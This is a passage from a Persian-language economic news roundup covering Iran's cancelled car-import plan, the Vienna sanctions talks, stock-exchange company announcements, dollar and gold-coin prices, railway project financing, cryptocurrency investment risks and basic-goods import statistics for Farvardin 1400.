۱۰۰ تا ۲۰۰ ۲۵۰ هزار تومان

 

۶ : واردات خودرو آزاد شد؟ 

سال گذشته قرار شد با ارزهای ایرانیان خارج از کشور واردات خودرو از سر گرفته شود اما حالا دبیر انجمن واردکنندگان خودرو از منتفی شدن واردات خودرو با این طرح خبر داده است.

واردات خودرو به کشور منتفی است. به گفته دبیر انجمن واردکنندگان خودرو، بخش‌خصوصی هنوز آمادگی دارد که خودروهای خارجی را با سرمایه‌های ایرانیان خارج از کشور وارد کنند اما این طرح با بهانه‌های مختلف دولتی‌ها رو به رو شد و عملا باعث منتفی شدن واردات خودرو خارجی به کشور شد.

سال گذشته واردکنندگان خودرو از ۹ طرح پیشنهادی به مجلس برای واردات خودرو بدون انتقال ارز خبر دادند و در این باره با وزیر صمت مذاکراتی شکل گرفت اما این طرح به سرانجام نرسید.

این اتفاق در حالی رخ داد که دولت در بودجه ۱۴۰۰ بالغ بر دو هزار و ۴۰ میلیارد به عنوان حقوق ورودی خودروهای خارجی، دو هزار و ۴۳۳ میلیارد تومان مالیات نقل و انتقال خودرو و ۶۸۷ هزار و ۶۷۳ میلیارد تومان به عنوان مالیات شماره‌گذاری خودرو مشخص شده است.

عبدالناصر همتی، رییس کل بانک مرکزی هم گفته بود: «در حال حاضر کشور نیاز‌های ارزی مهم‌تری دارد، بنابراین تخصیص ارز به واردات خودرو جز اولویت‌ اول قرار ندارد و بحث واردات اصلا مطرح نیست.»

مهدی دادفر، دبیر انجمن واردکنندگان خودرو در این زمینه گفت: فروش کالای سرمایه‌ای در کشوری که  تورم آن بالا است، مفهومی ندارد. هر چند این روزها قیمت برخی انواع مدل خودروی خارجی حدود ۷۰ تا ۸۰ میلیون تومان ارزان شده است اما کاهش قیمت در بازار خودروهای خارجی تداوم ندارد.

دبیر انجمن واردکنندگان خودرو توضیح داد: با سیاست‌گذاری‌های اخیر شورای رقابت مبنی بر افزایش قیمت خودرو، احتمال افزایش قیمت سایر خودروها نیز وجود دارد چرا که خودروسازان زیان انباشته دارند و هیچ راه حلی جز افزایش قیمت وجود ندارد.

حالا اما کاهش قیمت دلار و فضای مثبت ناشی از اخبار مذاکرات وین باعث شده است که خودروهای خارجی اندکی ارزان شود. فیروز نادری، فعال بازار خودرو به تجارت‌نیوز گفت: مردم به دلیل مذاکرات وین و احتمال گشایش سیاسی با احتیاط خودرو می‌‌خرند. به طوری که با کاهش قیمت دلار قیمت برخی خودروهای خارجی همچون اسپورتیج، توسان، اپتیما هر یک بین ۷۰ تا ۸۰ میلیون تومان ارزان شده است!

 

۷ : تحریم‌ها، ۲هفته دیگر می‌روند؟/خبرمهم برای بانک‌ها

در پایان دور سوم مذاکرات وین که امروز انجام شد، همه منابع مطلع دو طرف روی این موضوع تاکید دارند که یک هدف کلی وجود دارد و آن است که قرار است مذاکرات در راند چهارم به نتیجه احتمالی برسد.

با پایان یافتن دور سوم مذاکرات وین، حالا منابع مطلع اروپایی و ایرانی میگویند با وجود اینکه اختلاف ها همچنان وجود دارد و تفاهمی فعلا صورت نگرفته اما با وجود پیچیدگی از روبه جلو بردن مذاکرات در هفته چهارم خبر میدهند. عباس عراقچی، معاون وزیر امور خارجه در خصوص نتایج عینی دور سوم مذاکرات وین پس از پایان این تشست میگوید: براساس توافقی که تاکنون صورت گرفته تحریم های موضوعی یا بخشی مانند بخش انرژی یا تحریم صنعت خودرو ، بیمه و بنادر و .. باید برداشته شوند و توافق هم درباره آن وجود دارد. در کنار آن برخی افراد ، اشخاص و نهادها هستند که به طور خاص مورد تحریم واقع شدند و مذاکرات درباره این لیست هنوز ادامه دارد.

ارزیابی دور سوم مذاکرات وین از نگاه میخاییل اولیانوف، نماینده روسیه در وین این است که خیلی زود است که به سرخوشی بیفتیم ، اما خوشبینی محتاطانه و با اعتماد به نفس فزاینده ای وجود دارد. انریکه مورا، نماینده اروپا نیز گفته است: پیشرفت های متوسط اما با جزئیات بیشتر، پیچیدگی بیشتری به همراه دارد. دیپلمات اروپایی هم تاکید کرده اند هنوز تفاهمی صورت نگرفته و البته در هفته های بعد هیچ چیز بعید نیست، هر چند که تضمینی برای توافق نیست. بلومبرگ هم در پایان این نشست در گزارشی با رصد تحولات احیای برجام در وین به این نتیجه رسیده که ایران و امریکا به سمت یک توافق در حرکت هستند.

با این وصف نتیجه و گزاره قابل اتکا این است که گفتگوهای طرف های توافق هسته ای جمعه آینده از سر گرفته می شود. در سوم مذاکرات وین، بحث ها روشن تر، فاصله ها دقیق تر و اختلاف ها شفاف‌تر شد. همه طرف ها البته یک هدف کلی را دنبال میکنند که مذاکرات در سه هفته به نتیجه برسد.

همسو با حساس شدن تحولات برجام، در ادامه انتشار گزارش های ادعایی آلمان و سوئد درباره ایران، آژانس اطلاعات دفاعی آمریکا نیز در گزارش ادعایی سالانه تهدیدهای جهانی خود، ایران را همچنیان چالش اصلی برای منافع آمریکا در خاورمیانه خوانده است. در خبر مهم دیگری، امروز نیویورک تایمز در خبری فاش کرد که دولت عربستان درباره گزارش دیدار پنهانی تهران و ریاض در بغداد در بیانیه ای اعلام کرده است: عربستان به شرط حسن نیت ایران از هر فرصتی برای ارتقای ثبات در منطقه استفاده میکند.

در تحولات مهم داخلی، همزمان با نزدیک شدن به ایام انتخابات ریاست جمهوری، رهبر انقلاب ساعت ۱۸ فردا، یکشنبه ۱۲ اردیبهشت قرار است به صورت زنده از طریق شبکه های رسانه ملی سخنرانی می‌کند. این در حالی است که اسامی کاندیداها برای انتخابات ریاست جمهوری هر روز پُررنگ تر میشود. در همین راستا مصطفی تاج‌زاده، محمدجواد ظریف، اسحاق جهانگیری، شهیندخت مولاوردی و محمد صدر به عنوان کاندیداهای پیشنهادی حزب اتحاد ملت به جبهه اصلاحات ایران معرفی شدند. پیش‌تر برخی منابع حضور محمدرضا عارف را هم به صورت جداگانه تایید کرده بودند.

در خبر مربوط به سهام عدالتی ها نیز، ششمین مرحله از آزادسازی سهام عدالت ١١ اردیبهشت ١۴٠٠ با برنامه ریزی برای برگزاری مجمع چهار شرکت سرمایه گذاری استانی قزوین، کرمانشاه، گیلان و هرمزگان برگزار شد. این در حالی است که برخی از شرکت‌های حاضر در سبد بورسی سهام عدالت، سود تقسیمی خود مربوط به سال ۹۸ را به حساب سرمایه‌گذاری مرکزی واریز نکرده‌اند. از لحاظ قانونی برخی از این شرکت‌ها تا پایان مردادفرصت دارند سود سهام خود را واریز کنند، از این رو احتمال دارد بر خلاف وعده‌های قبلی، سود سهام عدالت تا پایان ماه رمضان واریز نشود.

اخبار صنایع ۱۲ اردیبهشت ۱۴۰۰
برآوردهای مرکز تحقیقاتی وابسته به وزارت کار نشان می دهد بالاترین درجه حرارت تورم امسال را در مرداد شاهد خواهیم بود. طبق برآوردهای کارشناسی نرخ تورم (میانگین ۱۲ ماهه) در مرداد امسال به ۴۵ درصد خواهد رسید. این نرخ اکنون حدود ۳۹ درصد است. این در حالی است که تازه ترین گزارش بانک مرکزی از تحلیل تحولات اقتصاد کلان کشور از رشد بی سابقه نقدینگی در ۴۲ سال اخیر خبر داده است.بررسی ها نشان می دهد که حداقل از سال ۱۳۴۱ تا سال ۱۳۹۹ این رشد بی سابقه بوده است.

در مهمترین خبر مربوط به بانک ها، دیروز اعلام شد، نرخ تسعیر ارز بانک‌ها به نزدیکی ۱۶ هزار تومان افزایش یافت؛ بدین ترتیب هر دلار با نرخ ۱۵۹۰۰ تومان و هر یورو با نرخ ۱۹ هزار تومان تسعیر میشود. در واقع بانک‌هایی که وضعیت منابع ارزی آن‌ها مناسب است، اگر نرخ تسعیر ارز را در ترازنامه آن‌ها درنظر بگیریم، ترازنامه آن‌ها از لحاظ وضعیت درآمد و سودآوری بهتر خواهد شد؛ به‌گونه‌ای که در دو سه روز اخیر شاهد مثبت شدن شاخص بانک‌ها در بازار سرمایه هستیم. صبح دیروز البته خبری آمده که رئیس کل بانک مرکزی چند روزی است بسته سیاستی برگشت ارز حاصل از صادرات سال های ۱۳۹۷ لغایت ۱۴۰۰ را ابلاغ کرده است.

در بخش خودروها، برخی منابع خبری میگویند، شورای رقابت تصمیم به افزایش قیمت خودرو دارد و قرار است در جلسه‌ای که دوشنبه ۱۳ اردیبهشت این هفته برگزار می‌شود، قیمت نهایی خودرو‌ها را اعلام کند.

اخبار شرکت ها ۱۲ اردیبهشت ۱۴۰۰
بورس کالا (#کالا) از تصویب افزایش سرمایه ۲۵۰ میلیارد تومان به ۵۰۰ میلیارد تومان (از محل سود انباشته ،سایر اندوخته ها) در هیئت مدیره و ارسال به حسابرس و بازرس قانونی خبر داد. امروز ۵۰ هزار تن کنسانتره سنگ آهن چادرملو (#کچاد) برای نخستین بار روی تابلوی بورس کالا می رود.

تولید مواد اولیه دارو پخش (#دتماد) از ثبت افزایش سرمایه جدید از ۵۰ میلیارد تومان به ۷۱٫۵ میلیارد تومان (از محل مطالبات و آورده نقدی) در اداره ثبت شرکت ها خبر داد. همچنین معدنی املاح ایران (#شاملا) از ثبت افزایش سرمایه جدید از ۴۲ میلیارد تومان به ۸۴ میلیارد تومان (از محل مطالبات و آورده نقدی) در اداره ثبت شرکت ها خبر داد.

در همین حال توسعه معادن و فلزات (#ومعادن) از افزایش سرمایه به شیوه مهلت استفاده از حق تقدم خرید سهام از ۹ اردیبهشت تا ۶ تیر امسال خبر داد. سرمایه شرکت از ۵۴۹۰ میلیارد تومان به ۸۴۰۰ میلیارد تومان (از محل مطالبات و آوردن نقدی و سود انباشته) میرسد. همچنین صنایع بهداشتی ساینا (#ساینا) از عدم موافقت سهامدار عمده با افزایش سرمایه بابت آن قسمت از آورده و مطالبات حال شده و انجام همان قسمت از طریق صرف سهام با سلب حق تقدم خبر داد.

در اخبار مربوط به مجامع، مجمع عمومی عادی سالیانه سیمان درود (#سدور) در تهران برگزار شد، اما به حد نصاب قانونی نرسید. جلسه مجمع عمومی خدمات انفورماتیک (#رانفور) در استان تهران (شهر تهران به آدرس سالن همایش های هتل ارم به نشانی میدان ونک، بزرگراه حقانی، تقاطع بزرگراه همت) در ساعت ۱۰ روز سه شنبه ۲۱ اردیبهشت برگزار میشود. همچنین مجمع شیر پاستوریزه پگاه گیلان (#غگلپا) در استان اصفهان (شهر گلپایگان به آدرس میدان کارگر – کیلومتر هفت جاده شرکت زراعی) در ساعت ۱۱ روز شنبه یک خرداد امسال برگزار میشود.

در اخبار مربوط به پیام ناظر، اعلام شد، سرمایه گذاری اعتبار ایران میخواهد ۲۳ درصد از سهام (معادل ۵۶ میلیون سهم) سرمایه گذاری وثوق امین (#وثوق) را با قیمت هر سهم ۲۱۳۳ تومان در بازار پایه زرد فرابورس در ۹ خرداد امسال واگذار کند. در معاملات شنبه ۱۱ اردیبهشت، تنها معاملات اوراق اجاره تامین اجتماعی سپهر در نماد (#شستا۰۰۳) مورد تأیید قرار نگرفت.

در همین حال دیروز خبری آمد مبنی بر اینکه اپراتورهای بورسی (#اخابر و #همراه) و اپراتور غیربورسی (ایرانسل) جریمه نمیشوند. پیش تر محمدجواد آذرجهرمی این اپراتورها را به خاطر اختلال در کلاب هاوس (شبکه اجتماعی با رویکرد صوت) را جریمه کرده بود و البته این دستور به تصویب هیات دولت هم رسیده بود. پیزد وام ارزی را ریالی کرد

در همین حال شرکت خدمات پس از فروش ایران خودرو (ایساکو) از همکاری این مجموعه با صندوق بازنشستگی کشور به منظور ارائه تسهیلات ویژه‌ خودرویی به بازنشستگان، با هدف گسترش خدمات خودرویی خبر داد. تولید پتروشیمی نوری با عبور از مرز ۴٫۸ میلیون تن به رکورد تاریخی رسید. تولید پارازایلین هم به مرز ۸۰۰ هزار تن رسید.

در دیگر اخبار مربوط به ناظر بازار، دوره معاملاتی قراردادهای اختیار معامله خرید و فروش روی سهام ایران‌ خودرو (#خودرو) در سررسید تیرماه ۱۴۰۰، فولاد مبارکه اصفهان (#فولاد) در سررسید مهرماه ۱۴۰۰و بانک صادرات ایران (#وبصادر) در سررسید آبان ماه ۱۴۰۰، از روز چهارشنبه ۱۵ اردیبهشت در بازار مشتقه بورس اوراق بهادار تهران آغاز می شود. همچنین با درج دو نماد #فجهان و #انتخاب در فرابورس ایران، باید منتظر عرضه اولیه های جدید باشیم.

 

۸ : دلار ۲۱ هزار تومانی در راه است؟ / ریزش قیمت سکه در بازار

در اولین روز هفته، موج جدیدی از فروشندگان وارد بازار ارز شدند.

نتیجه این اتفاق، نزول قیمت دلار تا نزدیک مرز ۲۳هزار تومانی بود. یکی از نشانه‌هایی که در ابتدای هفته توجه معامله‌گران بازار آزاد را جلب کرد، افت قیمت دلار بر تابلوی صرافی‌های بانکی بود. روز شنبه، صرافی‌های بانکی نرخ فروش دلار خود را به کانال ۲۲هزار تومانی بردند؛ امری که نشان می‌داد، بازارساز به‌دنبال افت بیشتر قیمت‌هاست. به باور فعالان، اگر خبر غیرمنتظره‌ای به بازار مخابره نشود، اسکناس آمریکایی در معاملات خیابان فردوسی نیز به کانال ۲۲هزار تومانی خواهد رفت.

موج ریزشی در بازار ارز
در اولین روز هفته، سرعت کاهش قیمت دلار تندتر شد. روز شنبه، اسکناس آمریکایی ۴۵۰ تومان از ارزش خود را از دست داد و به بهای ۲۳ هزار و ۵۰ تومان رسید. این در حالی بود که روز پنج‌شنبه، دلار ۱۹۰ تومان افت قیمت را به ثبت رسانده بود. دلار تا ساعت ۱۵:۳۰ دیروز سعی کرد کانال ۲۳ هزار تومانی را حفظ کند ولی در بازار صرافی‌های بانکی، قیمت خیلی زودتر وارد محدوده کانال پایین‌تر شد. ساعت ۲بعدازظهر دیروز، صرافی‌های بانکی قیمت فروش دلار خود را ۲۲ هزار و ۹۰۰ تومان تعیین کردند که اختلافی ۴۵۰ تومانی با روز پنج‌شنبه داشت. ورود دلار به کانال پایین‌تر در صرافی‌های بانکی نشان می‌داد که بازارساز به‌دنبال افت بیشتر قیمت این ارز در بازار آزاد است. همین موضوع نیز در انتظارات کاهشی معاملعه گران اثر داشت.

پس از ساعت ۴ بعدازظهر فشارهای کاهشی در بازار وجود داشت و ممکن است این مساله موجب شود که قیمت دلار در روز یکشنبه در کانال ۲۲ هزار تومان آغاز به کار کند. با این حال بیشتر فعالان اعتقاد دارند که افت قیمتی دلار تحت‌تاثیر خوش‌بینی به مذاکرات وین صورت گرفته است. خبرهای مثبتی که از مذاکرات منتشر شده است، چنین تصوری را ایجاد کرده است که حداقل بخشی از تحریم‌ها در ماه دوم سال برداشته خواهند شد. این مساله موجب شده است که بخشی از سرمایه‌گذاران خرد نیز در موقعیت فروش قرار بگیرند. در مقابل نهنگ‌ها و معامله‌گران بزرگ بازار در انتظار یک خبر منفی هستند تا به‌دنبال آن با قدرت در موقعیت خرید قرار بگیرند. تا آن زمان به‌نظر می‌رسد این گروه مداخله خاصی در بازار نداشته باشند.

تحلیلگران فنی به‌دنبال بازخورد بازار از حمایت ۲۲ هزار و ۹۰۰ تومان هستند. در صورتی که دلار زیر آن تثبیت شود، محدوده حمایتی ۲۲ هزار و ۵۰۰ تومان فعال خواهد شد و حمایت بعدی ۲۱ هزار و ۸۰۰ تومان خواهد بود. بازار تنها در اواخر دی‌ماه ۹۹ چنین ارقامی را تجربه کرد و پس از آن عمدتا بالاتر از سطح ۲۳ هزار و ۵۰۰ تومان نوسان کرد. ثبت رکوردهای کاهشی جدید،‌ امید معامله‌گران برای نزول بیشتر را افزایش می‌دهد. با این حال نمی‌توان از خاطر برد که اسکناس آمریکایی در دی‌ماه ۹۹ به کانال ۲۱ هزار تومانی رفت و پس از آن، ظرف مدت کوتاهی تا مرز ۲۶ هزار تومانی رشد کرد.

سکه ۲۰۰ هزار تومان افتاد
کاهش بهای دلار در بازار آزاد موجب شد که معامله‌گران زیادی در بازار سکه موقعیت فروش بگیرند. نتیجه افزایش فروش‌ها در بازار فلز گرانبهای داخلی، از دست رفتن ۲۰۰ هزار تومان از ارزش سکه بود. سکه ساعت ۴ بعدازظهر روز شنبه در محدوده ۹ میلیون و ۷۵۰ هزار تومان معامله می‌شد. در این میان، افت بهای طلا در بازارهای جهانی نیز در کاهشی شدن سکه اثر داشت.

 

۹ : جذب فاینانسورهای خارجی برای اجرای طرح‌های توسعه‌ای راه آهن

معاون اقتصادی راه‌آهن از جذب فاینانسورهای خارجی برای طرح‌های توسعه‌ای ریلی خبر داد و گفت: بسته‌های متعدد سرمایه‌گذاری با در نظر گرفتن دغدغه سرمایه‌گذاران تدوین شده است.

نورالله بیرانوند با اشاره به ماده ۱۲ قانون رفع موانع تولید اظهار کرد: خوشبختانه در حوزه ناوگان، تامین لکوموتیو، واگن‌های باری و مسافری سرمایه‌گذاران منابع را از طریق شرکت نفت و تایید راه‌ آهن جمهوری اسلامی ایران دریافت می‌کنند.

وی ادامه داد: شرکت بهینه‌سازی مصرف سوخت نقش بسیار موثری در ایجاد یک فضای امید و افزایش بازدهی سرمایه‌گذاری طرح‌های ریلی در کشور داشته است.

وی بیان کرد: سرمایه‌گذاران نسبت به ۲ عامل بسیار حساس هستند؛ بازدهی سرمایه‌گذاری یکی از مولفه‌های مهم در تصمیم‌گیری سرمایه‌گذاران برای حضور در طرح‌های ریلی است. بر اساس قانون دسترسی آزاد به شبکه ریلی باید تمهیداتی اندیشیده شود تا سرمایه‌گذاری در بخش ریلی نسبت به سایر بخش‌ها از بازدهی بیشتری برخوردار باشد.

معاون اقتصادی راه‌ آهن جمهوری اسلامی ایران با بیان این‌که مولفه دوم مدیریت ریسک در سرمایه‌گذاری است، اضافه کرد: بسته‌های سرمایه‌گذاری متعددی را حسب بخش‌های مختلف تدوین کرده‌ایم هم بازدهی و هم ریسک در این بسته‌ها در نظر گرفته شده است. علاوه بر این‌که زمینه‌ تامین مالی در حوزه‌های لازم از طریق سیستم بانکی، دولت، بورس و فاینانسورهای خارجی طراحی شده است.

بیرانوند با بیان این‌که تولید واگن‌ باری، مسافری، لکوموتیو و… از همین طریق در حال انجام است، گفت: تمام سرمایه‌گذاری‌های انجام شده در راه‌آهن از همین روش‌های ذکر شده صورت گرفته است.

به گزارش تسنیم، نورالله بیرانوند اواخر ماه گذشه از انصراف سرمایه‌گذاران از بکارگیری «صندوق پروژه» در طرح های ریلی خبر داده بود.

وی افزود: در بورس ابزارهای متنوعی برای تامین مالی پروژه‌های ریلی وجود دارد در این زمینه قرارداد کلی با سازمان بورس داریم تا برحسب شرایط هر پروژه بتوانیم ابزارهای بورسی را با پروژه راه‌آهن هم‌راستا کرده و به فراخور زمان و پروژه ها از این ابزار استفاده کنیم.

وی افزود: یکی از ابزارها انتشار اوراق است که توسط شرکت‌های ریلی در حال انجام بوده و راه آهن در فراهم کردن شرایط اقتصادی شدن این پروژه ها نقش مهمی دارد.

وی بیان کرد: کار اصلی ما این است که این شرکت‌ها در وضعیت مناسبی قرار بگیرد تا صورتهای مالی آنها مثبت شود و در ادامه بتوانند سهام خود را عرضه کنند. این اقدام به صورت تدریجی در حال انجام است.

وی یادآور شد: مسئله دوم استفاده از ابزارهای بدهی تحت عنوان اوراق بدهی، استثنا  و… است. اینها عملیاتی شده و چهار پروژه بزرگ از محل این ابزارها تامین مالی شده طراحی و آماده سازی این ابزارها کار بسیار پیچیده ای است که توسط شرکت‌های تامین سرمایه،  سرمایه‌گذاران و راه‌آهن جمهوری اسلامی ایران انجام شده است.

وی اضافه کرد: صندوق پروژه ابزار دیگری است که راه آهن جمهوری اسلامی ایران به دنبال آن بود و موافقت اصولی آنرا گرفتیم، اما این ابزار عملیاتی نشد.

مقام مسئول راه آهن جمهوری اسلامی ایران درباره دلیل عملیاتی نشدن صندوق پروژه گفت: ما در راه آهن از این ابزار استقبال و با بورس هم توافق کردیم، اما سرمایه گذارانی که باید در راه آهن از این ابزار استفاده می کردند، انصراف دادند.

وی ادامه داد: انصراف به این دلیل بود که بازدهی اقتصادی مورد بورس را پروژه نمی توانست فراهم کند و ریسک های را به همراه داشت.

وی تاکید کرد: الان در راه آهن جمهوری اسلامی ایران به دنبال استفاده از ظرفیت ماده ۱۲ برای فراهم کردن بازدهی مناسب برای بهره گیری از صندوق پروژه برای اجرای طرح ها هستیم.

وی درباره ماده ۱۲ نیز افزود: بر اساس ماده ۱۲ قانون رفع موانع تولید، کسانیکه در راه آهن صرفه جویی می کنند می‌توانند صرفه جویی ناشی از مصرف سوخت را دریافت کنند که به ازای هر تن کیلومتر ۱٫۲ سنت دلار پرداخت می شود. این ماده باعث شده بهره وری راه آهن حداقل ۲ برابر شود.

 

۱۰ : رمز ارزها؛ در کشاکش سود و زیان

نگرانی از موج رو به تزاید کلاهبرداری‌ها در حوزه سرمایه گذاری‌های دیجیتالی روند اعتمادآفرینی برای مشارکت در این حوزه را می‌تواند با اختلال مواجه کند.

این رسم دور تازه‌ای است که ارزهای دیجیتالی به سوژه فراگیری برای سرمایه گذاری تبدیل شده است. البته این را هم باز باید به حساب مواهب بی پایان کرونا و دامن گستری رو به فزونی اش گذاشت. در گیر و دار شیوع این بیماری که هر لحظه صورت و صولت تازه تری به خود می‌گیرد و غول‌های اقتصاد جهان هم در کار مهارش فرومانده اند بخش عمده‌ای از فضاهای واقعی زندگی ناچار به فضای مجازی کوچ کرده اند. بازار سوداگری دیجیتالی هم نه که از این کاروان بازنمانده بل رونقی هم به کار خود داده است.

اما همزمانی که تقاضا برای سرمایه گذاری‌های دیجیتالی در دنیا رشدی شتابان به خود گرفته کشورمان هم در تب و تاب معامله ارزهای دیجیتال فرو رفته است. امروز و در فترت کرونا و نا به سامانی‌های اقتصادی و با غوغای رسانه‌ای بنگاه‌های تبلیغاتی که قصدشان مجاب کردن مردم برای مشارکت در این نوع کمتر شناخته شده است سرمایه گذاری هموطنان در دنیای دیجیتال شدت گرفته و بازار داغ رمز ارزها به محملی برای چیدن دام‌های جدید کلاهبرداران تبدیل شده است.

روشن نبودن ضوابط حقوقی و قانونی مرتبط با این سرمایه گذاری و بالا و پایین شدن‌های مکرر و پر نوسان نرخ رمز ارزها را وقتی کنار تکاپوی کلاهبرداران سایبری برای به چنگ آوردن نقدینگی سرمایه گذاران با طناب پاره وسوسه‌هایی از قبیل معامله سکه و مشارکت در استخراج بگذاریم خطرخیزی بازار این داد و ستد نوبرانه را روشن‌تر از پیش می‌توان فرا چشم آورد.

با این همه تورج کاظمی رئیس پیشین پلیس فتای تهران بزرگ به تمایل مردم برای سرمایه گذاری در حوزه رمز ارزها نگاه خوشبینانه‌ای دارد. وقتی از او درباره دلایل رشد صعودی سرمایه گذاری‌های مردمی در این حوزه سوال می‌کنیم با میزان درباره خطرپذیری پایین این نوع سرمایه گذاری‌ها سخن می‌گوید: با توجه به سابقه‌ای که مردم از موضوع رمز ارزها دیده اند و احتمالا رصدهایی که در این فضا داشته اند و شاهد رشد آن بوده اند و نیز میزان خطرپذیری پایینی که سرمایه گذاری در این حوزه تا الان داشته و تا به حال مساله‌ای برای سرمایه گذاران در این حوزه پیش نیامده که به این تصور برسند که سرمایه هایشان را از دست داده اند بنابراین چنین تمایلی ایجاد شده تا در این حوزه بیشتر فعالیت کنند و گرایش به این نوع سرمایه گذاری افزایش پیدا کرده است.

علی رغم اینکه رئیس پیشین پلیس فتای تهران بزرگ رمز ارزها را حوزه کم خطر برای سرمایه گذاری معرفی می‌کند، اما وجود تخلفات پرشمار و کلاهبرداری‌های عدیده در این خصوص را می‌توان روزانه در خبرها رصد کرد. او، اما چنین اشکالی را به سیستم رمز ارزها وارد نمی‌داند: اگر تخلفی در حوزه سرمایه گذاری در رمزارزها رخ داده باشد چنین مساله‌ای به اشخاص بر می‌گردد. خود سیستم‌های رمز ارز تا به حال موردی از تخلف یا کلاهبرداری را نداشته اند. ممکن است شخصی از این بستر سوء استفاده کند و بخواهد تخلف یا جرمی را صورت بدهد و یا اینکه مرتکب کلاهبرداری بشود. اما اینکه گفته شود رمز ارزها باعث پدید آمدن مشکلاتی شده است حداقل تاکنون من به موردی برخورد نکرده ام.

اینکه با تکیه بر چه راهکارهایی می‌توان بر مخاطرات سرمایه گذاری در حوزه رمز ارزها غلبه کرد پرسشی کاربردی می‌تواند باشد. رئیس پیشین پلیس فتا، اما شرط اول را پذیرش سلامت سیستم می‌داند. او استفاده از سایت‌های داخلی را به هموطنان توصیه می‌کند. چرا که متولیان سامانه‌های داخلی قابل ردیابی و در دسترس هستند: اگر ما بپذیریم که سیستم رمز ارزها مشکلی ندارد و سیستم امنی محسوب می‌شود بسترهای استفاده از این سیستم‌ها را می‌توان فراهم کرد. بنا به تصور من بهترین راهکار استفاده از سایت‌های داخلی است که در این زمینه فعالیت دارند. ما درحال حاضر شاهد هستیم در فضای مجازی در حوزه داخلی کشورمان سایت‌ها و بسترهایی ایجاد شده که خرید و فروش این رمز ارزها را انجام می‌دهند. قاعدتا اگر از این سایت‌های داخلی استفاده شود گردانندگان این سایت‌ها قابل شناسایی و دسترس پذیر هستند. بر این اساس اگر هموطنانمان بخواهند در این حوزه فعالیت کنند درصورتی که از سایت‌های داخلی معتبر استفاده کنند درصد خطرپذیری پایین تری خواهند داشت و از امنیت اقتصادی بیشتری هم برخوردار خواهند بود.

درباره سرنوشت ارزهای دیجیتالی در مبادلات مالی آینده و نقشی که در راهبردهای آینده بازار جهانی بر عهده خواهد داشت شاید نتوان چشم انداز روشنی ترسیم کرد. کاظمی، اما درست در نقطه مقابل ایستاده است. او رمز ارزها را بستر مناسبی برای مراودات مالی می‌داند که دنیا هم به آن اقبال خواهد کرد: با توجه به اینکه سیستم رمز ارزها یک بستر سهل و آسانی در مراودات مالی فضای مجازی محسوب می‌شود و اینکه خیلی از امورات مالی و اقتصادی جامعه چه در حوزه داخلی و چه در حوزه خارجی به فضای مجازی گرایش پیدا کرده و بسترهای مجازی که خرید و فروش کالا یا ارائه خدمات و همه این موضوعات در فضای مجازی در حال گسترش پیدا کردن است رمز ارزها یک بستر مناسبی برای تبادلات مالی می‌تواند باشد؛ بنابراین هرچه جلوتر برویم قاعدتا مساله رمزارزها در جامعه افزایش چشمگیری خواهد داشت و شاهد این هستیم که در کشورهای مختلف هم به تدریج این سیستم به رسمیت شناخته می‌شود و در دیگر نقاط دنیا دنبال راهکاری هستند که بتوانند آن را در سیستم‌های مالی دولتی بیاورند و بحث ایجاد بسترهای مالیاتی و گردش‌های قانونی را هم برای این کار در نظر بگیرند تا بتوانند کنترل و نظارت بیشتری را در این حوزه اعمال کنند.

 

۱۱ : جزئیات واردات کالای اساسی در فروردین ۱۴۰۰

در ماه ابتدایی سال جاری بیش از ۱.۳ میلیون تن کالای اساسی به ارزش ۸۵۶ میلیون دلار در ۲۵ قلم کالای اساسی وارد کشور شده است.

وضعیت تجارت خارجی ایران در فروردین ماه نشان داد که ۱۰ میلیون و ۳۴۳ هزار تن کالا به ارزش پنج میلیارد و ۷۶۲ میلیون دلار بین ایران و شرکای تجاری آن مبادله شده که در مقایسه با مدت مشابه سال گذشته از لحاظ وزن ۳۲ درصد و از حیث ارزش ۶۲.۵ درصد افزایش داشت.

اما اینکه در تجارت فروردین ماه سهم کالای اساسی چقدر بوده ، طی گزارشی از سوی ارونقی- معاون فنی گمرک ایران- اعلام شده است.

براساس این گزارش ۲۵ قلم کالایی وارد شده در مجموع یک میلیون و ۳۲۶ هزار و ۶۱۵ تن به ارزش ۸۵۶ میلیون و ۶۰۹ هزار و ۷۳۹ دلار بوده است.

اما از اقلام وارداتی در بخش خوراکی ها می توان به گوشت قرمز سرد با ۴۹۹.۹ تن به ارزش ۲.۲ میلیون دلار، گوشت مرغ ۹۴.۲ تن به ارزش ۱۸۲.۸ هزار دلار اشاره کرد.

براساس این گزارش میزان برنج وارداتی در فروردین ماه ۹۹۶.۵ تن به ارزش بیش از یک میلیون دلار ، شکر خام ۱۲۸.۸ هزار تن به ارزش ۵۵.۳ میلیون دلار و ۱۷.۵ هزار تن حبوبات به ارزش ۱۴.۶ میلیون دلار بوده است.

واردات چای خشک نیز در فروردین ماه نیز ۳.۷ هزار تن به ارزش بیش از ۱۸.۹ میلیون دلار ثبت شده است.

همچنین از انواع دانه های روغنی ۱۳۳هزار تن به ارزش ۶۸.۶ میلیون دلار و روغن خوراکی جامد و مایع ۱۷۹.۶ هزار تن به ارزش ۲۱۶.۷ میلیون دلار وارد شده است.

در بخش دیگر کنجاله سویا ۱۶۱.۲ هزار تن به ارزش ۷۶ میلیون دلار ، جو ۱۸۶.۱هزار تن به ارزش ۵۳.۵ میلیون دلار و ذرت ۱۴۴.۴هزار تن به ارزش ۴۵.۱ میلیون دلار بوده که جزو نهاده های تولید دام و طیور نیز محسوب می شوند.

در بخش دارویی نیز ۳۲.۳ تن داروهای دامی ضروری به ارزش پنج میلیون دلار و همچنین دارو، تجهیزات و ملزومات ضروری پزشکی ۱.۱ هزار تن به ارزش ۱۱۱.۹ میلیون دلار وارد شده است.

در سایر اقلام ۱۲ هزار تن خمیر کاغذ به ارزش ۱۰.۲ میلیون دلار، کاغذ روزنامه ۱۱۸.۹ تن به ارزش ۶۷.۲ هزار دلار و کاغذ چاپ و تحریر ۱۵.۶ هزار تن به ارزش ۱۲.۵ میلیون دلار بوده است.

اما سموم تکنیکال شیمیایی ۸۹۹.۶ تن به ارزش ۷.۸ میلیون دلار ، کودهای شیمیایی ۸.۵ هزار تن به ارزش ۸.۵ میلیون دلار و انواع بذر ۲۱۸ تن به ارزش ۲.۳ میلیون دلار واردات داشته است.

همچنین میزان ماشین الات تولید کننده کالاهای اساسی ۳.۳ هزار تن به ارزش بیش از ۳۲.۵ میلیون دلار و لاستیک سنگین وارداتی ۲.۳ هزار تن به ارزش ۹.۵ میلیون دلار گزارش شده است.

